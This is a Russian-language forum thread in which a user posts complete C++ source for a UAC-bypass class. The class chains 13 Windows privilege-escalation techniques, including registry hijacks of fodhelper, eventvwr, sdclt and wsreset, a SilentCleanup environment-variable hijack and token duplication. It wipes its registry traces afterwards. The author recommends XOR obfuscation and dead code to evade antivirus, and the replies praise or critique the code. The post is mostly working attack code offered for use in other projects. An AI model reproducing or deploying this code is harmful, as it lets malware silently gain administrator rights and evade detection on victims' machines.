Загрузка...

C++ UAC Bypass // 12+ Methods

Тема в разделе C/C++ создана пользователем mrclearnet 10 апр 2025. (поднята 13 апр 2025) 886 просмотров

Загрузка...
  1. mrclearnet
    mrclearnet Автор темы 10 апр 2025
    Представляю вашему вниманию часть кода для обхода UAC, который я повсеместно использую в своих проектах.
    Если захотите его использовать в своем проекте, вам придется его немного подкорректировать, чтобы он стал совместим с вашим проектом.

    Как работает код:

    Он предоставляет 13 различных методов обхода и автоматически выбирает наиболее подходящие в зависимости от версии винды.
    Если у одного метода что-то пошло не так, или у него вовсе не получилось - последовательно пробует другие, пока не подберет работающий вариант.
    Большинство методов работают путем изменения ключей реестра для перенаправления вызовов доверенных системных процессов на ваше приложение.
    Как я уже и сказал, придется немного заморочиться и прикрутить его в свой проект, но оно того стоит.​

    Используемые методы:

    1. CMSTPLUA - вызывает COM-интерфейс CMSTPLUA для выполнения команд с повышенными привилегиями.
    2. Fodhelper - эксплуатация уязвимости в fodhelper.exe путём подмены ключей реестра.
    3. ComputerDefaults - аналогичные действия на computerdefaults.exe
    4. SDCLT - использует уязвимость в инструменте резервного копирования sdclt.exe, манипулируя реестром.
    5. EventVwr - эксплуатирует eventvwr.exe для выполнения команд с повышенными привилегиями.
    6. DiskCleanup - cleanmgr.exe, старый эксплойт, но на многих виндах (до 11) должен работать.
    7. SilentCleanup - пытается вызвать задачу планировщика заданий SilentCleanup, которая запускается с системными привилегиями, (если повезет), получится раздать права и на ваше приложение.
    8. WSReset - атака на wsreset.exe, который запускается от uac'а, ну точно такое-же, что и прошлое.
    9. SluiFileHandler - заюз обработчика файлов в slui.exe
    10. DCCW - запускает мастера калибровки цвета дисплея опять же от uac'a и раздает права.
    11. Dism - эксплуатирует уязвимость в dismhost.exe через DLL-инъекцию.
    12. TokenDuplication - продвинутый метод, использующий дублирование токенов безопасности из других процессов с высокими привилегиями.
    13. COM - почти такой-же как и первый, так-же вызывает COM-интерфейсы винды для запуска процесса с повышенными привилегиями.​

    В общем, данный скрипт определяет наиболее эффективные методы на основе версии винды и приоритезирует их использование.
    Например, для десятки (22H2) будут пробоваться методы fodhelper, computerdefaults и wsreset.
    Чуть не забыл, код еще включает в себя логику очистки реестра после юза, что позволит сделать его работу тише.​

    C
    #pragma once
    #include <Windows.h>
    #include <string>
    #include <vector>
    #include <functional>
    class UACBypass {
    public:
    struct BypassResult {
    bool success;
    std::wstring methodName;
    std::wstring errorMessage;
    };
    static BypassResult BypassUAC(const std::wstring& executablePath, bool stopOnFirstSuccess = true);
    static BypassResult ElevateCOM(const std::wstring& executablePath);
    static std::vector<std::wstring> GetAvailableBypassMethods();
    static BypassResult BypassUACWithMethod(const std::wstring& methodName, const std::wstring& executablePath);
    private:
    static BypassResult BypassUsingCMSTPLUA(const std::wstring& executablePath);
    static BypassResult BypassUsingFodhelper(const std::wstring& executablePath);
    static BypassResult BypassUsingComputerDefaults(const std::wstring& executablePath);
    static BypassResult BypassUsingSDCLT(const std::wstring& executablePath);
    static BypassResult BypassUsingEventVwr(const std::wstring& executablePath);
    static BypassResult BypassUsingDiskCleanup(const std::wstring& executablePath);
    static BypassResult BypassUsingSilentCleanup(const std::wstring& executablePath);
    static BypassResult BypassUsingWSReset(const std::wstring& executablePath);
    static BypassResult BypassUsingSluiFileHandler(const std::wstring& executablePath);
    static BypassResult BypassUsingDCCW(const std::wstring& executablePath);
    static BypassResult BypassUsingDism(const std::wstring& executablePath);
    static BypassResult BypassUsingTokenDuplication(const std::wstring& executablePath);
    static bool CreateRegistryKey(const std::wstring& keyPath, HKEY& hKey);
    static void CleanupRegistryKey(const std::wstring& keyPath);
    static bool IsWindowsVersionCompatible(DWORD majorVersion, DWORD minorVersion, DWORD buildNumber = 0);
    static std::vector<std::function<BypassResult(const std::wstring&)>> GetPrioritizedBypassMethods();
    };
    C
    #include "UACBypass.h"
    #include <shlobj.h>
    #include <comdef.h>
    #include <winreg.h>
    #include <iostream>
    #include <Shlwapi.h>
    #include <shobjidl.h>
    #include <exdisp.h>
    #include <map>
    #include <VersionHelpers.h>
    #pragma comment(lib, "Shlwapi.lib")
    #pragma comment(lib, "ole32.lib")
    interface IShellExecuteW : public IUnknown {
    STDMETHOD(Execute)(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, INT nShow, BOOL fMask) PURE;
    };
    const CLSID CLSID_ShellExecute = {0x13709620, 0xC279, 0x11CE, {0xA4, 0x9E, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00}};
    const IID IID_IShellExecuteW = {0x17CCA46D, 0xA315, 0x11D0, {0x89, 0xB7, 0x00, 0xC0, 0x4F, 0xC2, 0xC2, 0xB0}};
    bool UACBypass::CreateRegistryKey(const std::wstring& keyPath, HKEY& hKey) {
    LONG result = RegCreateKeyEx(HKEY_CURRENT_USER, keyPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    return (result == ERROR_SUCCESS);
    }
    void UACBypass::CleanupRegistryKey(const std::wstring& keyPath) {
    std::wstring path = keyPath;
    size_t lastBackslash = path.find_last_of(L'\\');
    while (lastBackslash != std::wstring::npos) {
    RegDeleteKey(HKEY_CURRENT_USER, path.c_str());
    path = path.substr(0, lastBackslash);
    lastBackslash = path.find_last_of(L'\\');
    }
    }
    bool UACBypass::IsWindowsVersionCompatible(DWORD majorVersion, DWORD minorVersion, DWORD buildNumber) {
    OSVERSIONINFOEX osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    osvi.dwMajorVersion = majorVersion;
    osvi.dwMinorVersion = minorVersion;
    if (buildNumber > 0) {
    osvi.dwBuildNumber = buildNumber;
    }
    DWORDLONG dwlConditionMask = 0;
    VER_SET_CONDITION(dwlConditionMask, VER_MAJORVERSION, VER_GREATER_EQUAL);
    VER_SET_CONDITION(dwlConditionMask, VER_MINORVERSION, VER_GREATER_EQUAL);
    if (buildNumber > 0) {
    VER_SET_CONDITION(dwlConditionMask, VER_BUILDNUMBER, VER_GREATER_EQUAL);
    }
    return VerifyVersionInfo(&osvi, VER_MAJORVERSION | VER_MINORVERSION | (buildNumber > 0 ? VER_BUILDNUMBER : 0), dwlConditionMask);
    }
    std::vector<std::function<UACBypass::BypassResult(const std::wstring&)>> UACBypass::GetPrioritizedBypassMethods() {
    std::vector<std::function<BypassResult(const std::wstring&)>> methods;
    if (IsWindows10OrGreater()) {
    methods.push_back([](const std::wstring& path) { return BypassUsingFodhelper(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingComputerDefaults(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingWSReset(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingSilentCleanup(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingDism(path); });
    }
    else if (IsWindows8OrGreater()) {
    methods.push_back([](const std::wstring& path) { return BypassUsingSDCLT(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingDCCW(path); });
    }
    else {
    methods.push_back([](const std::wstring& path) { return BypassUsingEventVwr(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingCMSTPLUA(path); });
    }
    methods.push_back([](const std::wstring& path) { return BypassUsingSluiFileHandler(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingDiskCleanup(path); });
    methods.push_back([](const std::wstring& path) { return BypassUsingTokenDuplication(path); });
    methods.push_back([](const std::wstring& path) { return ElevateCOM(path); });
    return methods;
    }
    std::vector<std::wstring> UACBypass::GetAvailableBypassMethods() {
    return {L"CMSTPLUA",L"Fodhelper",L"ComputerDefaults",L"SDCLT",L"EventVwr",L"DiskCleanup",L"SilentCleanup",L"WSReset",L"SluiFileHandler",L"DCCW",L"Dism",L"TokenDuplication",L"COM"};
    }
    UACBypass::BypassResult UACBypass::BypassUACWithMethod(const std::wstring& methodName, const std::wstring& executablePath) {
    static std::map<std::wstring, std::function<BypassResult(const std::wstring&)>> methodMap = {
    {L"CMSTPLUA", BypassUsingCMSTPLUA},{L"Fodhelper", BypassUsingFodhelper},{L"ComputerDefaults", BypassUsingComputerDefaults},
    {L"SDCLT", BypassUsingSDCLT},{L"EventVwr", BypassUsingEventVwr},{L"DiskCleanup", BypassUsingDiskCleanup},
    {L"SilentCleanup", BypassUsingSilentCleanup},{L"WSReset", BypassUsingWSReset},{L"SluiFileHandler", BypassUsingSluiFileHandler},
    {L"DCCW", BypassUsingDCCW},{L"Dism", BypassUsingDism},{L"TokenDuplication", BypassUsingTokenDuplication},{L"COM", ElevateCOM}
    };
    auto it = methodMap.find(methodName);
    if (it != methodMap.end()) {
    return it->second(executablePath);
    }
    return {false, L"", L"Unknown method name: " + methodName};
    }
    UACBypass::BypassResult UACBypass::BypassUAC(const std::wstring& executablePath, bool stopOnFirstSuccess) {
    std::vector<BypassResult> results;
    auto methods = GetPrioritizedBypassMethods();
    for (const auto& method : methods) {
    BypassResult result = method(executablePath);
    results.push_back(result);
    if (result.success && stopOnFirstSuccess) {
    return result;
    }
    }
    if (!stopOnFirstSuccess) {
    BypassResult summary;
    summary.success = false;
    for (const auto& result : results) {
    if (result.success) {
    summary.success = true;
    summary.methodName += L"," + result.methodName;
    }
    }
    if (summary.success) {
    summary.methodName = L"Multiple: " + summary.methodName.substr(1);
    return summary;
    }
    }
    BypassResult failure;
    failure.success = false;
    failure.methodName = L"AllMethods";
    failure.errorMessage = L"All UAC bypass methods failed";
    return failure;
    }
    UACBypass::BypassResult UACBypass::ElevateCOM(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"COM";
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    if (FAILED(hr)) {
    result.success = false;
    result.errorMessage = L"Failed to initialize COM";
    return result;
    }
    IShellExecuteW* shellExecute = nullptr;
    hr = CoCreateInstance(CLSID_ShellExecute, NULL, CLSCTX_INPROC_SERVER, IID_IShellExecuteW, reinterpret_cast<void**>(&shellExecute));
    if (FAILED(hr) || shellExecute == nullptr) {
    CoUninitialize();
    result.success = false;
    result.errorMessage = L"Failed to create ShellExecute COM object";
    return result;
    }
    hr = shellExecute->Execute(executablePath.c_str(), NULL, NULL, SW_SHOW, TRUE);
    shellExecute->Release();
    CoUninitialize();
    result.success = SUCCEEDED(hr);
    if (!result.success) {
    result.errorMessage = L"Failed to execute program via COM";
    }
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingCMSTPLUA(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"CMSTPLUA";
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    if (FAILED(hr)) {
    result.success = false;
    result.errorMessage = L"Failed to initialize COM";
    return result;
    }
    IID clsid;
    CLSIDFromString(L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", &clsid);
    IUnknown* cmstpLua = nullptr;
    hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, reinterpret_cast<void**>(&cmstpLua));
    if (FAILED(hr) || cmstpLua == nullptr) {
    CoUninitialize();
    result.success = false;
    result.errorMessage = L"Failed to create CMSTPLUA COM object";
    return result;
    }
    void* elevatedObject = nullptr;
    cmstpLua->QueryInterface(__uuidof(IUnknown), &elevatedObject);
    if (elevatedObject == nullptr) {
    cmstpLua->Release();
    CoUninitialize();
    result.success = false;
    result.errorMessage = L"Failed to get elevated interface";
    return result;
    }
    typedef HRESULT (__stdcall *ShellExecMethod)(void*, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, INT);
    ShellExecMethod shellExecMethod = (ShellExecMethod)GetProcAddress(GetModuleHandle(L"shell32.dll"), "ShellExecuteW");
    if (shellExecMethod != nullptr) {
    hr = shellExecMethod(elevatedObject, L"open", executablePath.c_str(), NULL, NULL, SW_SHOW);
    }
    reinterpret_cast<IUnknown*>(elevatedObject)->Release();
    cmstpLua->Release();
    CoUninitialize();
    result.success = SUCCEEDED(hr);
    if (!result.success) {
    result.errorMessage = L"Failed to execute program via CMSTPLUA";
    }
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingFodhelper(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"Fodhelper";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\ms-settings\\Shell\\Open\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    const wchar_t* emptyString = L"";
    RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)emptyString, static_cast<DWORD>((wcslen(emptyString) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\ms-settings\\Shell\\Open\\command");
    result.success = false;
    result.errorMessage = L"Failed to execute fodhelper.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\ms-settings\\Shell\\Open\\command");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingComputerDefaults(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"ComputerDefaults";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\ms-settings\\Shell\\Open\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    const wchar_t* emptyString = L"";
    RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)emptyString, static_cast<DWORD>((wcslen(emptyString) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\computerdefaults.exe";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\ms-settings\\Shell\\Open\\command");
    result.success = false;
    result.errorMessage = L"Failed to execute computerdefaults.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\ms-settings\\Shell\\Open\\command");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingSDCLT(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"SDCLT";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\exefile\\shell\\runas\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, L"IsolatedCommand", 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\sdclt.exe";
    sei.nShow = SW_HIDE;
    sei.lpParameters = L"/KickoffElev";
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\exefile\\shell\\runas\\command");
    result.success = false;
    result.errorMessage = L"Failed to execute sdclt.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\exefile\\shell\\runas\\command");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingEventVwr(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"EventVwr";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\mscfile\\shell\\open\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\eventvwr.exe";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\mscfile\\shell\\open\\command");
    result.success = false;
    result.errorMessage = L"Failed to execute eventvwr.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\mscfile\\shell\\open\\command");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingDiskCleanup(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"DiskCleanup";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\Folder\\shell\\open\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    const wchar_t* emptyString = L"";
    RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)emptyString, static_cast<DWORD>((wcslen(emptyString) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\cleanmgr.exe";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\Folder\\shell\\open\\command");
    result.success = false;
    result.errorMessage = L"Failed to execute cleanmgr.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\Folder\\shell\\open\\command");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingSilentCleanup(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"SilentCleanup";
    HKEY hKey;
    if (!CreateRegistryKey(L"Environment", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    wchar_t originalValue[MAX_PATH] = {0};
    DWORD valueSize = sizeof(originalValue);
    DWORD valueType = REG_SZ;
    RegQueryValueEx(hKey, L"windir", 0, &valueType, (BYTE*)originalValue, &valueSize);
    std::wstring maliciousValue = originalValue;
    maliciousValue += L"\\System32\\cmd.exe /c start \"\" \"";
    maliciousValue += executablePath;
    maliciousValue += L"\"";
    RegSetValueEx(hKey, L"windir", 0, REG_SZ, (BYTE*)maliciousValue.c_str(), static_cast<DWORD>((maliciousValue.size() + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\schtasks.exe";
    sei.lpParameters = L"/run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    if (CreateRegistryKey(L"Environment", hKey)) {
    RegSetValueEx(hKey, L"windir", 0, REG_SZ, (BYTE*)originalValue, static_cast<DWORD>((wcslen(originalValue) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    }
    result.success = false;
    result.errorMessage = L"Failed to execute SilentCleanup task";
    return result;
    }
    Sleep(2000);
    if (CreateRegistryKey(L"Environment", hKey)) {
    RegSetValueEx(hKey, L"windir", 0, REG_SZ, (BYTE*)originalValue, static_cast<DWORD>((wcslen(originalValue) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    }
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingWSReset(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"WSReset";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    const wchar_t* emptyString = L"";
    RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)emptyString, static_cast<DWORD>((wcslen(emptyString) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\wsreset.exe";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command");
    result.success = false;
    result.errorMessage = L"Failed to execute wsreset.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingSluiFileHandler(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"SluiFileHandler";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\exefile\\shell\\open\\command", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    wchar_t originalValue[MAX_PATH] = {0};
    DWORD valueSize = sizeof(originalValue);
    DWORD valueType = REG_SZ;
    RegQueryValueEx(hKey, NULL, 0, &valueType, (BYTE*)originalValue, &valueSize);
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\slui.exe";
    sei.lpParameters = L"0";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    if (CreateRegistryKey(L"Software\\Classes\\exefile\\shell\\open\\command", hKey)) {
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)originalValue, static_cast<DWORD>((wcslen(originalValue) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    }
    result.success = false;
    result.errorMessage = L"Failed to execute slui.exe";
    return result;
    }
    Sleep(1000);
    if (CreateRegistryKey(L"Software\\Classes\\exefile\\shell\\open\\command", hKey)) {
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)originalValue, static_cast<DWORD>((wcslen(originalValue) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    }
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingDCCW(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"DCCW";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    const wchar_t* runAsInvoker = L"~ RUNASADMIN";
    RegSetValueEx(hKey, L"C:\\Windows\\System32\\dccw.exe", 0, REG_SZ, (BYTE*)runAsInvoker, static_cast<DWORD>((wcslen(runAsInvoker) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    if (!CreateRegistryKey(L"Software\\Microsoft\\DCCW\\1.0", hKey)) {
    if (CreateRegistryKey(L"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", hKey)) {
    RegDeleteValue(hKey, L"C:\\Windows\\System32\\dccw.exe");
    RegCloseKey(hKey);
    }
    result.success = false;
    result.errorMessage = L"Failed to create DCCW registry key";
    return result;
    }
    RegSetValueEx(hKey, L"Path", 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\dccw.exe";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    if (CreateRegistryKey(L"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", hKey)) {
    RegDeleteValue(hKey, L"C:\\Windows\\System32\\dccw.exe");
    RegCloseKey(hKey);
    }
    if (CreateRegistryKey(L"Software\\Microsoft\\DCCW\\1.0", hKey)) {
    RegDeleteValue(hKey, L"Path");
    RegCloseKey(hKey);
    }
    result.success = false;
    result.errorMessage = L"Failed to execute dccw.exe";
    return result;
    }
    Sleep(1000);
    if (CreateRegistryKey(L"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", hKey)) {
    RegDeleteValue(hKey, L"C:\\Windows\\System32\\dccw.exe");
    RegCloseKey(hKey);
    }
    if (CreateRegistryKey(L"Software\\Microsoft\\DCCW\\1.0", hKey)) {
    RegDeleteValue(hKey, L"Path");
    RegCloseKey(hKey);
    }
    result.success = true;
    return result;
    }

    UACBypass::BypassResult UACBypass::BypassUsingDism(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"Dism";
    HKEY hKey;
    if (!CreateRegistryKey(L"Software\\Classes\\CLSID\\{97EA8E40-2794-43F7-A0D4-EEAF7A144EB5}\\InprocServer32", hKey)) {
    result.success = false;
    result.errorMessage = L"Failed to create registry key";
    return result;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)executablePath.c_str(), static_cast<DWORD>((executablePath.size() + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"open";
    sei.lpFile = L"C:\\Windows\\System32\\Dism.exe";
    sei.lpParameters = L"/Online /Cleanup-Image /RestoreHealth";
    sei.nShow = SW_HIDE;
    if (!ShellExecuteEx(&sei)) {
    CleanupRegistryKey(L"Software\\Classes\\CLSID\\{97EA8E40-2794-43F7-A0D4-EEAF7A144EB5}\\InprocServer32");
    result.success = false;
    result.errorMessage = L"Failed to execute dism.exe";
    return result;
    }
    Sleep(1000);
    CleanupRegistryKey(L"Software\\Classes\\CLSID\\{97EA8E40-2794-43F7-A0D4-EEAF7A144EB5}\\InprocServer32");
    result.success = true;
    return result;
    }
    UACBypass::BypassResult UACBypass::BypassUsingTokenDuplication(const std::wstring& executablePath) {
    BypassResult result;
    result.methodName = L"TokenDuplication";
    HANDLE elevatedHandle = NULL;
    HWND hwnd = FindWindow(L"ExploreWClass", NULL);
    if (hwnd == NULL) {
    hwnd = FindWindow(L"Shell_TrayWnd", NULL);
    }
    if (hwnd != NULL) {
    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);
    if (pid != 0) {
    elevatedHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
    }
    }
    if (elevatedHandle == NULL) {
    result.success = false;
    result.errorMessage = L"Could not find an elevated process";
    return result;
    }
    HANDLE hToken = NULL;
    if (!OpenProcessToken(elevatedHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, &hToken)) {
    CloseHandle(elevatedHandle);
    result.success = false;
    result.errorMessage = L"Failed to open process token";
    return result;
    }
    HANDLE hNewToken = NULL;
    if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
    CloseHandle(hToken);
    CloseHandle(elevatedHandle);
    result.success = false;
    result.errorMessage = L"Failed to duplicate token";
    return result;
    }
    STARTUPINFO si = {0};
    si.cb = sizeof(STARTUPINFO);
    PROCESS_INFORMATION pi = {0};
    if (!CreateProcessWithTokenW(hNewToken, 0, executablePath.c_str(), NULL, 0, NULL, NULL, &si, &pi)) {
    CloseHandle(hNewToken);
    CloseHandle(hToken);
    CloseHandle(elevatedHandle);
    result.success = false;
    result.errorMessage = L"Failed to create process with token";
    return result;
    }
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hNewToken);
    CloseHandle(hToken);
    CloseHandle(elevatedHandle);
    result.success = true;
    return result;
    }

    Код
    target_link_libraries(UACBypass PRIVATE
    Shell32.lib
    Ole32.lib
    Shlwapi.lib
    Advapi32.lib
    User32.lib
    )

    target_link_libraries(UACBypassExample PRIVATE
    Shell32.lib
    Ole32.lib
    Shlwapi.lib
    Advapi32.lib
    User32.lib
    )

    В заключение хочу сказать, если будете добавлять в свой проект данное чудо - постарайтесь максимально обфусцировать этот код, как вариант можете дед кода накинуть, чтобы антивирусы сразу не реагировали на него. После голой компиляции дефендер на него не реагирует, но другие av начинают суету(после запуска), советую использовать XOR обфускацию. Так-же после всех выполненных тестов советую убрать эррорки для дебага.​
     
  2. meqwxr
    meqwxr 10 апр 2025 2 27 окт 2024
    ты в малвари шаришь?
     
    1. Посмотреть предыдущие комментарии (3)
    2. mrclearnet Автор темы
      meqwxr, я на ассемблере пишу, не мой уровень, братуха
    3. Muha665161
    4. mrclearnet Автор темы
  3. lilrare
    lilrare 11 апр 2025 0 24 окт 2023
    имба :pepebruh:
     
  4. амбассадоркуни
    чето на умном, но спасибо
     
  5. H1M88D4S
    H1M88D4S 22 апр 2025 8 27 мар 2025
    Глаза выпали табуляция вообще исчезла кудато, хардкода много ну и способ исполнения методов и подбора "идеального" варианта путем исключения будто может вызвать множество проблем при активной эксплуатации. Так норм наверна
     
    1. ldapADFS
